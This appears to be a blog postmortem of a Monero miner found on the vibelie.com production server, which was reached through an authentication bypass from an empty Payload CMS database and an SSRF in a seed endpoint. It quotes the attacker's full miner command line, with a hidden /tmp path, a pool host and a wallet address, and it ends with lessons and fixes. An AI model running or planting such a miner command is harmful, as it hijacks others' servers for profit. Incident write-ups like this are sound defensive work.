Security

When AI-Generated Deployment Breaks Everything

Date Published

🚨

January 3, 2026: Monero Miner Incident

vibelie.com production server

A Monero cryptocurrency miner was discovered running on the production server:

/tmp/.x/m -o gulf.moneroocean.stream:10128 \
  -u 43yiB8RenFLGQdK97HGVpLjVeQaCSWDbaec2ZQcav6e7a3QnDEmKq3t3oUoQD9HgwXAW8RQTWUdXxN5WGtpStxAtRrH5Pmf \
  --cpu-max-threads-hint=75 -B --donate-level=0

šŸ” Root Cause Analysis

Payload CMS was deployed without running database migrations, leaving the database completely empty (no tables, no users). The authentication system's canAccessAdmin utility allows access when no users exist for initial setup — but with an empty database, this created a permanent authentication bypass.

šŸ“œ The Timeline

Nov 29

Commit 375693a: Added prodMigrations to Payload config

Dec 1

Commit 508b37d: Created migrations/index.ts with empty array to fix TS errors

December

App deployed without migrations running

Jan 3

Monero miner discovered running as user 1001

āš ļø What Went Wrong

1. Empty migrations array: The migrations/index.ts file exported an empty array instead of running Payload CMS initialization

2. Silent deployment failure: The deploy script used || { warning ... } to continue even if migrations failed

3. No health check for auth: The app responded to health checks but had no functioning authentication

4. SSRF vulnerability: The fetchFileByURL() function in the seed endpoint could download arbitrary files

šŸŽÆ The Exploit Chain

1

Empty Database

No users table exists

2

Auth Bypass

canAccessAdmin allows access when no users

3

Access Endpoints

Attacker reaches protected routes

4

RCE

Download and execute miner via SSRF

āœ… Lessons Learned

Deployment Safety

  • Never suppress migration failures in production
  • Verify database schema exists before deploying
  • Add health checks that verify auth functionality
  • Run payload migrate explicitly during deployment

Code Review

  • Empty arrays in critical paths are red flags
  • AI-generated deployment scripts need review
  • "Fixing TS errors" shouldn't disable functionality
  • Test authentication before exposing to internet

šŸ›”ļø Implemented Solution

Added a Docker entrypoint script that checks database initialization before starting the application.

# docker-entrypoint.sh checks:
āœ“ Database connection is accessible
āœ“ Payload CMS tables exist (users, payload_media, etc.)
āœ“ At least one user is registered (warns if not)
āœ— Fails startup with clear error if any check fails

The app now refuses to start with an uninitialized database, displaying:

āœ— ERROR: Payload CMS database is not initialized!
The database is missing required tables.
To fix: docker compose run --rm vibelie npx payload migrate
#security#rce#deployment#payloadcms